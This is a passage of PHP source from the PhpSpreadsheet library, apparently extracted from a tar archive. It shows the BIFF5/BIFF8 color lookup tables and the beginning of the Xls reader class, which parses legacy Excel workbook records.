StyleBorder::BORDER_SLANTDASHDOT, ]; public static function lookup(int $index): string { if (isset(self::$borderStyleMap[$index])) { return self::$borderStyleMap[$index]; } return StyleBorder::BORDER_NONE; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/Color/BIFF8.php000064400000003371151676714400021610 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls\Color; class BIFF8 { private const BIFF8_COLOR_MAP = [ 0x08 => '000000', 0x09 => 'FFFFFF', 0x0A => 'FF0000', 0x0B => '00FF00', 0x0C => '0000FF', 0x0D => 'FFFF00', 0x0E => 'FF00FF', 0x0F => '00FFFF', 0x10 => '800000', 0x11 => '008000', 0x12 => '000080', 0x13 => '808000', 0x14 => '800080', 0x15 => '008080', 0x16 => 'C0C0C0', 0x17 => '808080', 0x18 => '9999FF', 0x19 => '993366', 0x1A => 'FFFFCC', 0x1B => 'CCFFFF', 0x1C => '660066', 0x1D => 'FF8080', 0x1E => '0066CC', 0x1F => 'CCCCFF', 0x20 => '000080', 0x21 => 'FF00FF', 0x22 => 'FFFF00', 0x23 => '00FFFF', 0x24 => '800080', 0x25 => '800000', 0x26 => '008080', 0x27 => '0000FF', 0x28 => '00CCFF', 0x29 => 'CCFFFF', 0x2A => 'CCFFCC', 0x2B => 'FFFF99', 0x2C => '99CCFF', 0x2D => 'FF99CC', 0x2E => 'CC99FF', 0x2F => 'FFCC99', 0x30 => '3366FF', 0x31 => '33CCCC', 0x32 => '99CC00', 0x33 => 'FFCC00', 0x34 => 'FF9900', 0x35 => 'FF6600', 0x36 => '666699', 0x37 => '969696', 0x38 => '003366', 0x39 => '339966', 0x3A => '003300', 0x3B => '333300', 0x3C => '993300', 0x3D => '993366', 0x3E => '333399', 0x3F => '333333', ]; /** * Map color array from BIFF8 built-in color index. */ public static function lookup(int $color): array { return ['rgb' => self::BIFF8_COLOR_MAP[$color] ?? '000000']; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/Color/BIFF5.php000064400000003371151676714400021605 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls\Color; class BIFF5 { private const BIFF5_COLOR_MAP = [ 0x08 => '000000', 0x09 => 'FFFFFF', 0x0A => 'FF0000', 0x0B => '00FF00', 0x0C => '0000FF', 0x0D => 'FFFF00', 0x0E => 'FF00FF', 0x0F => '00FFFF', 0x10 => '800000', 0x11 => '008000', 0x12 => '000080', 0x13 => '808000', 0x14 => '800080', 0x15 => '008080', 0x16 => 'C0C0C0', 0x17 => '808080', 0x18 => '8080FF', 0x19 => '802060', 0x1A => 'FFFFC0', 0x1B => 'A0E0F0', 0x1C => '600080', 0x1D => 'FF8080', 0x1E => '0080C0', 0x1F => 'C0C0FF', 0x20 => '000080', 0x21 => 'FF00FF', 0x22 => 'FFFF00', 0x23 => '00FFFF', 0x24 => '800080', 0x25 => '800000', 0x26 => '008080', 0x27 => '0000FF', 0x28 => '00CFFF', 0x29 => '69FFFF', 0x2A => 'E0FFE0', 0x2B => 'FFFF80', 0x2C => 'A6CAF0', 0x2D => 'DD9CB3', 0x2E => 'B38FEE', 0x2F => 'E3E3E3', 0x30 => '2A6FF9', 0x31 => '3FB8CD', 0x32 => '488436', 0x33 => '958C41', 0x34 => '8E5E42', 0x35 => 'A0627A', 0x36 => '624FAC', 0x37 => '969696', 0x38 => '1D2FBE', 0x39 => '286676', 0x3A => '004500', 0x3B => '453E01', 0x3C => '6A2813', 0x3D => '85396A', 0x3E => '4A3285', 0x3F => '424242', ]; /** * Map color array from BIFF5 built-in color index. */ public static function lookup(int $color): array { return ['rgb' => self::BIFF5_COLOR_MAP[$color] ?? '000000']; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls/Color/BuiltIn.php000064400000001257151676714400022361 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader\Xls\Color; class BuiltIn { private const BUILTIN_COLOR_MAP = [ 0x00 => '000000', 0x01 => 'FFFFFF', 0x02 => 'FF0000', 0x03 => '00FF00', 0x04 => '0000FF', 0x05 => 'FFFF00', 0x06 => 'FF00FF', 0x07 => '00FFFF', 0x40 => '000000', // system window text color 0x41 => 'FFFFFF', // system window background color ]; /** * Map built-in color to RGB value. * * @param int $color Indexed color */ public static function lookup(int $color): array { return ['rgb' => self::BUILTIN_COLOR_MAP[$color] ?? '000000']; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xls.php000064400001054051151676714400017736 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Cell\DataValidation; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use PhpOffice\PhpSpreadsheet\NamedRange; use PhpOffice\PhpSpreadsheet\Reader\Xls\ConditionalFormatting; use PhpOffice\PhpSpreadsheet\Reader\Xls\Style\CellFont; use PhpOffice\PhpSpreadsheet\Reader\Xls\Style\FillPattern; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Shared\CodePage; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\Escher; use PhpOffice\PhpSpreadsheet\Shared\Escher\DgContainer\SpgrContainer\SpContainer; use PhpOffice\PhpSpreadsheet\Shared\Escher\DggContainer\BstoreContainer\BSE; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Shared\OLE; use PhpOffice\PhpSpreadsheet\Shared\OLERead; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Shared\Xls as SharedXls; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Borders; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\Fill; use PhpOffice\PhpSpreadsheet\Style\Font; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Style\Protection; use PhpOffice\PhpSpreadsheet\Style\Style; use PhpOffice\PhpSpreadsheet\Worksheet\MemoryDrawing; use PhpOffice\PhpSpreadsheet\Worksheet\PageSetup; use PhpOffice\PhpSpreadsheet\Worksheet\SheetView; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; // Original file header of ParseXL (used as the base for this class): // -------------------------------------------------------------------------------- // Adapted from Excel_Spreadsheet_Reader developed by users bizon153, // trex005, and mmp11 (SourceForge.net) // https://sourceforge.net/projects/phpexcelreader/ // Primary changes made by canyoncasa (dvc) for ParseXL 1.00 ... // Modelled moreso after Perl Excel Parse/Write modules // Added Parse_Excel_Spreadsheet object // Reads a whole worksheet or tab as row,column array or as // associated hash of indexed rows and named column fields // Added variables for worksheet (tab) indexes and names // Added an object call for loading individual woorksheets // Changed default indexing defaults to 0 based arrays // Fixed date/time and percent formats // Includes patches found at SourceForge... // unicode patch by nobody // unpack("d") machine depedency patch by matchy // boundsheet utf16 patch by bjaenichen // Renamed functions for shorter names // General code cleanup and rigor, including <80 column width // Included a testcase Excel file and PHP example calls // Code works for PHP 5.x // Primary changes made by canyoncasa (dvc) for ParseXL 1.10 ... // http://sourceforge.net/tracker/index.php?func=detail&aid=1466964&group_id=99160&atid=623334 // Decoding of formula conditions, results, and tokens. // Support for user-defined named cells added as an array "namedcells" // Patch code for user-defined named cells supports single cells only. // NOTE: this patch only works for BIFF8 as BIFF5-7 use a different // external sheet reference structure class Xls extends BaseReader { private const HIGH_ORDER_BIT = 0x80 << 24; private const FC000000 = 0xFC << 24; private const FE000000 = 0xFE << 24; // ParseXL definitions const XLS_BIFF8 = 0x0600; const XLS_BIFF7 = 0x0500; const XLS_WORKBOOKGLOBALS = 0x0005; const XLS_WORKSHEET = 0x0010; // record identifiers const XLS_TYPE_FORMULA = 0x0006; const XLS_TYPE_EOF = 0x000A; const XLS_TYPE_PROTECT = 0x0012; const XLS_TYPE_OBJECTPROTECT = 0x0063; const XLS_TYPE_SCENPROTECT = 0x00DD; const XLS_TYPE_PASSWORD = 0x0013; const XLS_TYPE_HEADER = 0x0014; const XLS_TYPE_FOOTER = 0x0015; const XLS_TYPE_EXTERNSHEET = 0x0017; const XLS_TYPE_DEFINEDNAME = 0x0018; const XLS_TYPE_VERTICALPAGEBREAKS = 0x001A; const XLS_TYPE_HORIZONTALPAGEBREAKS = 0x001B; const XLS_TYPE_NOTE = 0x001C; const XLS_TYPE_SELECTION = 0x001D; const XLS_TYPE_DATEMODE = 0x0022; const XLS_TYPE_EXTERNNAME = 0x0023; const XLS_TYPE_LEFTMARGIN = 0x0026; const XLS_TYPE_RIGHTMARGIN = 0x0027; const XLS_TYPE_TOPMARGIN = 0x0028; const XLS_TYPE_BOTTOMMARGIN = 0x0029; const XLS_TYPE_PRINTGRIDLINES = 0x002B; const XLS_TYPE_FILEPASS = 0x002F; const XLS_TYPE_FONT = 0x0031; const XLS_TYPE_CONTINUE = 0x003C; const XLS_TYPE_PANE = 0x0041; const XLS_TYPE_CODEPAGE = 0x0042; const XLS_TYPE_DEFCOLWIDTH = 0x0055; const XLS_TYPE_OBJ = 0x005D; const XLS_TYPE_COLINFO = 0x007D; const XLS_TYPE_IMDATA = 0x007F; const XLS_TYPE_SHEETPR = 0x0081; const XLS_TYPE_HCENTER = 0x0083; const XLS_TYPE_VCENTER = 0x0084; const XLS_TYPE_SHEET = 0x0085; const XLS_TYPE_PALETTE = 0x0092; const XLS_TYPE_SCL = 0x00A0; const XLS_TYPE_PAGESETUP = 0x00A1; const XLS_TYPE_MULRK = 0x00BD; const XLS_TYPE_MULBLANK = 0x00BE; const XLS_TYPE_DBCELL = 0x00D7; const XLS_TYPE_XF = 0x00E0; const XLS_TYPE_MERGEDCELLS = 0x00E5; const XLS_TYPE_MSODRAWINGGROUP = 0x00EB; const XLS_TYPE_MSODRAWING = 0x00EC; const XLS_TYPE_SST = 0x00FC; const XLS_TYPE_LABELSST = 0x00FD; const XLS_TYPE_EXTSST = 0x00FF; const XLS_TYPE_EXTERNALBOOK = 0x01AE; const XLS_TYPE_DATAVALIDATIONS = 0x01B2; const XLS_TYPE_TXO = 0x01B6; const XLS_TYPE_HYPERLINK = 0x01B8; const XLS_TYPE_DATAVALIDATION = 0x01BE; const XLS_TYPE_DIMENSION = 0x0200; const XLS_TYPE_BLANK = 0x0201; const XLS_TYPE_NUMBER = 0x0203; const XLS_TYPE_LABEL = 0x0204; const XLS_TYPE_BOOLERR = 0x0205; const XLS_TYPE_STRING = 0x0207; const XLS_TYPE_ROW = 0x0208; const XLS_TYPE_INDEX = 0x020B; const XLS_TYPE_ARRAY = 0x0221; const XLS_TYPE_DEFAULTROWHEIGHT = 0x0225; const XLS_TYPE_WINDOW2 = 0x023E; const XLS_TYPE_RK = 0x027E; const XLS_TYPE_STYLE = 0x0293; const XLS_TYPE_FORMAT = 0x041E; const XLS_TYPE_SHAREDFMLA = 0x04BC; const XLS_TYPE_BOF = 0x0809; const XLS_TYPE_SHEETPROTECTION = 0x0867; const XLS_TYPE_RANGEPROTECTION = 0x0868; const XLS_TYPE_SHEETLAYOUT = 0x0862; const XLS_TYPE_XFEXT = 0x087D; const XLS_TYPE_PAGELAYOUTVIEW = 0x088B; const XLS_TYPE_CFHEADER = 0x01B0; const XLS_TYPE_CFRULE = 0x01B1; const XLS_TYPE_UNKNOWN = 0xFFFF; // Encryption type const MS_BIFF_CRYPTO_NONE = 0; const MS_BIFF_CRYPTO_XOR = 1; const MS_BIFF_CRYPTO_RC4 = 2; // Size of stream blocks when using RC4 encryption const REKEY_BLOCK = 0x400; /** * Summary Information stream data. */ private ?string $summaryInformation = null; /** * Extended Summary Information stream data. */ private ?string $documentSummaryInformation = null; /** * Workbook stream data. (Includes workbook globals substream as well as sheet substreams). */ private string $data; /** * Size in bytes of $this->data. */ private int $dataSize; /** * Current position in stream. */ private int $pos; /** * Workbook to be returned by the reader. */ private Spreadsheet $spreadsheet; /** * Worksheet that is currently being built by the reader. */ private Worksheet $phpSheet; /** * BIFF version. */ private int $version = 0; /** * Codepage set in the Excel file being read. Only important for BIFF5 (Excel 5.0 - Excel 95) * For BIFF8 (Excel 97 - Excel 2003) this will always have the value 'UTF-16LE'. */ private string $codepage = ''; /** * Shared formats. */ private array $formats; /** * Shared fonts. * * @var Font[] */ private array $objFonts; /** * Color palette. */ private array $palette; /** * Worksheets. */ private array $sheets; /** * External books. */ private array $externalBooks; /** * REF structures. Only applies to BIFF8. */ private array $ref; /** * External names. */ private array $externalNames; /** * Defined names. */ private array $definedname; /** * Shared strings. Only applies to BIFF8. */ private array $sst; /** * Panes are frozen? (in sheet currently being read). See WINDOW2 record. */ private bool $frozen; /** * Fit printout to number of pages? (in sheet currently being read). See SHEETPR record. */ private bool $isFitToPages; /** * Objects. One OBJ record contributes with one entry. */ private array $objs; /** * Text Objects. One TXO record corresponds with one entry. */ private array $textObjects; /** * Cell Annotations (BIFF8). */ private array $cellNotes; /** * The combined MSODRAWINGGROUP data. */ private string $drawingGroupData; /** * The combined MSODRAWING data (per sheet). */ private string $drawingData; /** * Keep track of XF index. */ private int $xfIndex; /** * Mapping of XF index (that is a cell XF) to final index in cellXf collection. */ private array $mapCellXfIndex; /** * Mapping of XF index (that is a style XF) to final index in cellStyleXf collection. */ private array $mapCellStyleXfIndex; /** * The shared formulas in a sheet. One SHAREDFMLA record contributes with one value. */ private array $sharedFormulas; /** * The shared formula parts in a sheet. One FORMULA record contributes with one value if it * refers to a shared formula. */ private array $sharedFormulaParts; /** * The type of encryption in use. */ private int $encryption = 0; /** * The position in the stream after which contents are encrypted. */ private int $encryptionStartPos = 0; /** * The current RC4 decryption object. * * @var ?Xls\RC4 */ private ?Xls\RC4 $rc4Key = null; /** * The position in the stream that the RC4 decryption object was left at. */ private int $rc4Pos = 0; /** * The current MD5 context state. * It is never set in the program, so code which uses it is suspect. */ private string $md5Ctxt; // @phpstan-ignore-line private int $textObjRef; private string $baseCell; private bool $activeSheetSet = false; /** * Create a new Xls Reader instance. */ public function __construct() { parent::__construct(); } /** * Can the current IReader read the file? */ public function canRead(string $filename): bool { if (File::testFileNoThrow($filename) === false) { return false; } try { // Use ParseXL for the hard work. $ole = new OLERead(); // get excel data $ole->read($filename); if ($ole->wrkbook === null) { throw new Exception('The filename ' . $filename . ' is not recognised as a Spreadsheet file'); } return true; } catch (PhpSpreadsheetException) { return false; } } public function setCodepage(string $codepage): void { if (CodePage::validate($codepage) === false) { throw new PhpSpreadsheetException('Unknown codepage: ' . $codepage); } $this->codepage = $codepage; } public function getCodepage(): string { return $this->codepage; } /** * Reads names of the worksheets from a file, without parsing the whole file to a PhpSpreadsheet object. */ public function listWorksheetNames(string $filename): array { File::assertFile($filename); $worksheetNames = []; // Read the OLE file $this->loadOLE($filename); // total byte size of Excel data (workbook global substream + sheet substreams) $this->dataSize = strlen($this->data); $this->pos = 0; $this->sheets = []; // Parse Workbook Global Substream while ($this->pos < $this->dataSize) { $code = self::getUInt2d($this->data, $this->pos); match ($code) { self::XLS_TYPE_BOF => $this->readBof(), self::XLS_TYPE_SHEET => $this->readSheet(), self::XLS_TYPE_EOF => $this->readDefault(), self::XLS_TYPE_CODEPAGE => $this->readCodepage(), default => $this->readDefault(), }; if ($code === self::XLS_TYPE_EOF) { break; } } foreach ($this->sheets as $sheet) { if ($sheet['sheetType'] != 0x00) { // 0x00: Worksheet, 0x02: Chart, 0x06: Visual Basic module continue; } $worksheetNames[] = $sheet['name']; } return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns). */ public function listWorksheetInfo(string $filename): array { File::assertFile($filename); $worksheetInfo = []; // Read the OLE file $this->loadOLE($filename); // total byte size of Excel data (workbook global substream + sheet substreams) $this->dataSize = strlen($this->data); // initialize $this->pos = 0; $this->sheets = []; // Parse Workbook Global Substream while ($this->pos < $this->dataSize) { $code = self::getUInt2d($this->data, $this->pos); match ($code) { self::XLS_TYPE_BOF => $this->readBof(), self::XLS_TYPE_SHEET => $this->readSheet(), self::XLS_TYPE_EOF => $this->readDefault(), self::XLS_TYPE_CODEPAGE => $this->readCodepage(), default => $this->readDefault(), }; if ($code === self::XLS_TYPE_EOF) { break; } } // Parse the individual sheets foreach ($this->sheets as $sheet) { if ($sheet['sheetType'] != 0x00) { // 0x00: Worksheet // 0x02: Chart // 0x06: Visual Basic module continue; } $tmpInfo = []; $tmpInfo['worksheetName'] = $sheet['name']; $tmpInfo['lastColumnLetter'] = 'A'; $tmpInfo['lastColumnIndex'] = 0; $tmpInfo['totalRows'] = 0; $tmpInfo['totalColumns'] = 0; $this->pos = $sheet['offset']; while ($this->pos <= $this->dataSize - 4) { $code = self::getUInt2d($this->data, $this->pos); switch ($code) { case self::XLS_TYPE_RK: case self::XLS_TYPE_LABELSST: case self::XLS_TYPE_NUMBER: case self::XLS_TYPE_FORMULA: case self::XLS_TYPE_BOOLERR: case self::XLS_TYPE_LABEL: $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; $rowIndex = self::getUInt2d($recordData, 0) + 1; $columnIndex = self::getUInt2d($recordData, 2); $tmpInfo['totalRows'] = max($tmpInfo['totalRows'], $rowIndex); $tmpInfo['lastColumnIndex'] = max($tmpInfo['lastColumnIndex'], $columnIndex); break; case self::XLS_TYPE_BOF: $this->readBof(); break; case self::XLS_TYPE_EOF: $this->readDefault(); break 2; default: $this->readDefault(); break; } } $tmpInfo['lastColumnLetter'] = Coordinate::stringFromColumnIndex($tmpInfo['lastColumnIndex'] + 1); $tmpInfo['totalColumns'] = $tmpInfo['lastColumnIndex'] + 1; $worksheetInfo[] = $tmpInfo; } return $worksheetInfo; } /** * Loads PhpSpreadsheet from file. */ protected function loadSpreadsheetFromFile(string $filename): Spreadsheet { // Read the OLE file $this->loadOLE($filename); // Initialisations $this->spreadsheet = new Spreadsheet(); $this->spreadsheet->removeSheetByIndex(0); // remove 1st sheet if (!$this->readDataOnly) { $this->spreadsheet->removeCellStyleXfByIndex(0); // remove the default style $this->spreadsheet->removeCellXfByIndex(0); // remove the default style } // Read the summary information stream (containing meta data) $this->readSummaryInformation(); // Read the Additional document summary information stream (containing application-specific meta data) $this->readDocumentSummaryInformation(); // total byte size of Excel data (workbook global substream + sheet substreams) $this->dataSize = strlen($this->data); // initialize $this->pos = 0; $this->codepage = $this->codepage ?: CodePage::DEFAULT_CODE_PAGE; $this->formats = []; $this->objFonts = []; $this->palette = []; $this->sheets = []; $this->externalBooks = []; $this->ref = []; $this->definedname = []; $this->sst = []; $this->drawingGroupData = ''; $this->xfIndex = 0; $this->mapCellXfIndex = []; $this->mapCellStyleXfIndex = []; // Parse Workbook Global Substream while ($this->pos < $this->dataSize) { $code = self::getUInt2d($this->data, $this->pos); match ($code) { self::XLS_TYPE_BOF => $this->readBof(), self::XLS_TYPE_FILEPASS => $this->readFilepass(), self::XLS_TYPE_CODEPAGE => $this->readCodepage(), self::XLS_TYPE_DATEMODE => $this->readDateMode(), self::XLS_TYPE_FONT => $this->readFont(), self::XLS_TYPE_FORMAT => $this->readFormat(), self::XLS_TYPE_XF => $this->readXf(), self::XLS_TYPE_XFEXT => $this->readXfExt(), self::XLS_TYPE_STYLE => $this->readStyle(), self::XLS_TYPE_PALETTE => $this->readPalette(), self::XLS_TYPE_SHEET => $this->readSheet(), self::XLS_TYPE_EXTERNALBOOK => $this->readExternalBook(), self::XLS_TYPE_EXTERNNAME => $this->readExternName(), self::XLS_TYPE_EXTERNSHEET => $this->readExternSheet(), self::XLS_TYPE_DEFINEDNAME => $this->readDefinedName(), self::XLS_TYPE_MSODRAWINGGROUP => $this->readMsoDrawingGroup(), self::XLS_TYPE_SST => $this->readSst(), self::XLS_TYPE_EOF => $this->readDefault(), default => $this->readDefault(), }; if ($code === self::XLS_TYPE_EOF) { break; } } // Resolve indexed colors for font, fill, and border colors // Cannot be resolved already in XF record, because PALETTE record comes afterwards if (!$this->readDataOnly) { foreach ($this->objFonts as $objFont) { if (isset($objFont->colorIndex)) { $color = Xls\Color::map($objFont->colorIndex, $this->palette, $this->version); $objFont->getColor()->setRGB($color['rgb']); } } foreach ($this->spreadsheet->getCellXfCollection() as $objStyle) { // fill start and end color $fill = $objStyle->getFill(); if (isset($fill->startcolorIndex)) { $startColor = Xls\Color::map($fill->startcolorIndex, $this->palette, $this->version); $fill->getStartColor()->setRGB($startColor['rgb']); } if (isset($fill->endcolorIndex)) { $endColor = Xls\Color::map($fill->endcolorIndex, $this->palette, $this->version); $fill->getEndColor()->setRGB($endColor['rgb']); } // border colors $top = $objStyle->getBorders()->getTop(); $right = $objStyle->getBorders()->getRight(); $bottom = $objStyle->getBorders()->getBottom(); $left = $objStyle->getBorders()->getLeft(); $diagonal = $objStyle->getBorders()->getDiagonal(); if (isset($top->colorIndex)) { $borderTopColor = Xls\Color::map($top->colorIndex, $this->palette, $this->version); $top->getColor()->setRGB($borderTopColor['rgb']); } if (isset($right->colorIndex)) { $borderRightColor = Xls\Color::map($right->colorIndex, $this->palette, $this->version); $right->getColor()->setRGB($borderRightColor['rgb']); } if (isset($bottom->colorIndex)) { $borderBottomColor = Xls\Color::map($bottom->colorIndex, $this->palette, $this->version); $bottom->getColor()->setRGB($borderBottomColor['rgb']); } if (isset($left->colorIndex)) { $borderLeftColor = Xls\Color::map($left->colorIndex, $this->palette, $this->version); $left->getColor()->setRGB($borderLeftColor['rgb']); } if (isset($diagonal->colorIndex)) { $borderDiagonalColor = Xls\Color::map($diagonal->colorIndex, $this->palette, $this->version); $diagonal->getColor()->setRGB($borderDiagonalColor['rgb']); } } } // treat MSODRAWINGGROUP records, workbook-level Escher $escherWorkbook = null; if (!$this->readDataOnly && $this->drawingGroupData) { $escher = new Escher(); $reader = new Xls\Escher($escher); $escherWorkbook = $reader->load($this->drawingGroupData); } // Parse the individual sheets $this->activeSheetSet = false; foreach ($this->sheets as $sheet) { if ($sheet['sheetType'] != 0x00) { // 0x00: Worksheet, 0x02: Chart, 0x06: Visual Basic module continue; } // check if sheet should be skipped if (isset($this->loadSheetsOnly) && !in_array($sheet['name'], $this->loadSheetsOnly)) { continue; } // add sheet to PhpSpreadsheet object $this->phpSheet = $this->spreadsheet->createSheet(); // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet references in formula // cells... during the load, all formulae should be correct, and we're simply bringing the worksheet // name in line with the formula, not the reverse $this->phpSheet->setTitle($sheet['name'], false, false); $this->phpSheet->setSheetState($sheet['sheetState']); $this->pos = $sheet['offset']; // Initialize isFitToPages. May change after reading SHEETPR record. $this->isFitToPages = false; // Initialize drawingData $this->drawingData = ''; // Initialize objs $this->objs = []; // Initialize shared formula parts $this->sharedFormulaParts = []; // Initialize shared formulas $this->sharedFormulas = []; // Initialize text objs $this->textObjects = []; // Initialize cell annotations $this->cellNotes = []; $this->textObjRef = -1; while ($this->pos <= $this->dataSize - 4) { $code = self::getUInt2d($this->data, $this->pos); switch ($code) { case self::XLS_TYPE_BOF: $this->readBof(); break; case self::XLS_TYPE_PRINTGRIDLINES: $this->readPrintGridlines(); break; case self::XLS_TYPE_DEFAULTROWHEIGHT: $this->readDefaultRowHeight(); break; case self::XLS_TYPE_SHEETPR: $this->readSheetPr(); break; case self::XLS_TYPE_HORIZONTALPAGEBREAKS: $this->readHorizontalPageBreaks(); break; case self::XLS_TYPE_VERTICALPAGEBREAKS: $this->readVerticalPageBreaks(); break; case self::XLS_TYPE_HEADER: $this->readHeader(); break; case self::XLS_TYPE_FOOTER: $this->readFooter(); break; case self::XLS_TYPE_HCENTER: $this->readHcenter(); break; case self::XLS_TYPE_VCENTER: $this->readVcenter(); break; case self::XLS_TYPE_LEFTMARGIN: $this->readLeftMargin(); break; case self::XLS_TYPE_RIGHTMARGIN: $this->readRightMargin(); break; case self::XLS_TYPE_TOPMARGIN: $this->readTopMargin(); break; case self::XLS_TYPE_BOTTOMMARGIN: $this->readBottomMargin(); break; case self::XLS_TYPE_PAGESETUP: $this->readPageSetup(); break; case self::XLS_TYPE_PROTECT: $this->readProtect(); break; case self::XLS_TYPE_SCENPROTECT: $this->readScenProtect(); break; case self::XLS_TYPE_OBJECTPROTECT: $this->readObjectProtect(); break; case self::XLS_TYPE_PASSWORD: $this->readPassword(); break; case self::XLS_TYPE_DEFCOLWIDTH: $this->readDefColWidth(); break; case self::XLS_TYPE_COLINFO: $this->readColInfo(); break; case self::XLS_TYPE_DIMENSION: $this->readDefault(); break; case self::XLS_TYPE_ROW: $this->readRow(); break; case self::XLS_TYPE_DBCELL: $this->readDefault(); break; case self::XLS_TYPE_RK: $this->readRk(); break; case self::XLS_TYPE_LABELSST: $this->readLabelSst(); break; case self::XLS_TYPE_MULRK: $this->readMulRk(); break; case self::XLS_TYPE_NUMBER: $this->readNumber(); break; case self::XLS_TYPE_FORMULA: $this->readFormula(); break; case self::XLS_TYPE_SHAREDFMLA: $this->readSharedFmla(); break; case self::XLS_TYPE_BOOLERR: $this->readBoolErr(); break; case self::XLS_TYPE_MULBLANK: $this->readMulBlank(); break; case self::XLS_TYPE_LABEL: $this->readLabel(); break; case self::XLS_TYPE_BLANK: $this->readBlank(); break; case self::XLS_TYPE_MSODRAWING: $this->readMsoDrawing(); break; case self::XLS_TYPE_OBJ: $this->readObj(); break; case self::XLS_TYPE_WINDOW2: $this->readWindow2(); break; case self::XLS_TYPE_PAGELAYOUTVIEW: $this->readPageLayoutView(); break; case self::XLS_TYPE_SCL: $this->readScl(); break; case self::XLS_TYPE_PANE: $this->readPane(); break; case self::XLS_TYPE_SELECTION: $this->readSelection(); break; case self::XLS_TYPE_MERGEDCELLS: $this->readMergedCells(); break; case self::XLS_TYPE_HYPERLINK: $this->readHyperLink(); break; case self::XLS_TYPE_DATAVALIDATIONS: $this->readDataValidations(); break; case self::XLS_TYPE_DATAVALIDATION: $this->readDataValidation(); break; case self::XLS_TYPE_CFHEADER: $cellRangeAddresses = $this->readCFHeader(); break; case self::XLS_TYPE_CFRULE: $this->readCFRule($cellRangeAddresses ?? []); break; case self::XLS_TYPE_SHEETLAYOUT: $this->readSheetLayout(); break; case self::XLS_TYPE_SHEETPROTECTION: $this->readSheetProtection(); break; case self::XLS_TYPE_RANGEPROTECTION: $this->readRangeProtection(); break; case self::XLS_TYPE_NOTE: $this->readNote(); break; case self::XLS_TYPE_TXO: $this->readTextObject(); break; case self::XLS_TYPE_CONTINUE: $this->readContinue(); break; case self::XLS_TYPE_EOF: $this->readDefault(); break 2; default: $this->readDefault(); break; } } // treat MSODRAWING records, sheet-level Escher if (!$this->readDataOnly && $this->drawingData) { $escherWorksheet = new Escher(); $reader = new Xls\Escher($escherWorksheet); $escherWorksheet = $reader->load($this->drawingData); // get all spContainers in one long array, so they can be mapped to OBJ records /** @var SpContainer[] $allSpContainers */ $allSpContainers = method_exists($escherWorksheet, 'getDgContainer') ? $escherWorksheet->getDgContainer()->getSpgrContainer()->getAllSpContainers() : []; } // treat OBJ records foreach ($this->objs as $n => $obj) { // the first shape container never has a corresponding OBJ record, hence $n + 1 if (isset($allSpContainers[$n + 1])) { $spContainer = $allSpContainers[$n + 1]; // we skip all spContainers that are a part of a group shape since we cannot yet handle those if ($spContainer->getNestingLevel() > 1) { continue; } // calculate the width and height of the shape /** @var int $startRow */ [$startColumn, $startRow] = Coordinate::coordinateFromString($spContainer->getStartCoordinates()); /** @var int $endRow */ [$endColumn, $endRow] = Coordinate::coordinateFromString($spContainer->getEndCoordinates()); $startOffsetX = $spContainer->getStartOffsetX(); $startOffsetY = $spContainer->getStartOffsetY(); $endOffsetX = $spContainer->getEndOffsetX(); $endOffsetY = $spContainer->getEndOffsetY(); $width = SharedXls::getDistanceX($this->phpSheet, $startColumn, $startOffsetX, $endColumn, $endOffsetX); $height = SharedXls::getDistanceY($this->phpSheet, $startRow, $startOffsetY, $endRow, $endOffsetY); // calculate offsetX and offsetY of the shape $offsetX = (int) ($startOffsetX * SharedXls::sizeCol($this->phpSheet, $startColumn) / 1024); $offsetY = (int) ($startOffsetY * SharedXls::sizeRow($this->phpSheet, $startRow) / 256); switch ($obj['otObjType']) { case 0x19: // Note if (isset($this->cellNotes[$obj['idObjID']])) { //$cellNote = $this->cellNotes[$obj['idObjID']]; if (isset($this->textObjects[$obj['idObjID']])) { $textObject = $this->textObjects[$obj['idObjID']]; $this->cellNotes[$obj['idObjID']]['objTextData'] = $textObject; } } break; case 0x08: // picture // get index to BSE entry (1-based) $BSEindex = $spContainer->getOPT(0x0104); // If there is no BSE Index, we will fail here and other fields are not read. // Fix by checking here. // TODO: Why is there no BSE Index? Is this a new Office Version? Password protected field? // More likely : a uncompatible picture if (!$BSEindex) { continue 2; } if ($escherWorkbook) { $BSECollection = method_exists($escherWorkbook, 'getDggContainer') ? $escherWorkbook->getDggContainer()->getBstoreContainer()->getBSECollection() : []; $BSE = $BSECollection[$BSEindex - 1]; $blipType = $BSE->getBlipType(); // need check because some blip types are not supported by Escher reader such as EMF if ($blip = $BSE->getBlip()) { $ih = imagecreatefromstring($blip->getData()); if ($ih !== false) { $drawing = new MemoryDrawing(); $drawing->setImageResource($ih); // width, height, offsetX, offsetY $drawing->setResizeProportional(false); $drawing->setWidth($width); $drawing->setHeight($height); $drawing->setOffsetX($offsetX); $drawing->setOffsetY($offsetY); switch ($blipType) { case BSE::BLIPTYPE_JPEG: $drawing->setRenderingFunction(MemoryDrawing::RENDERING_JPEG); $drawing->setMimeType(MemoryDrawing::MIMETYPE_JPEG); break; case BSE::BLIPTYPE_PNG: 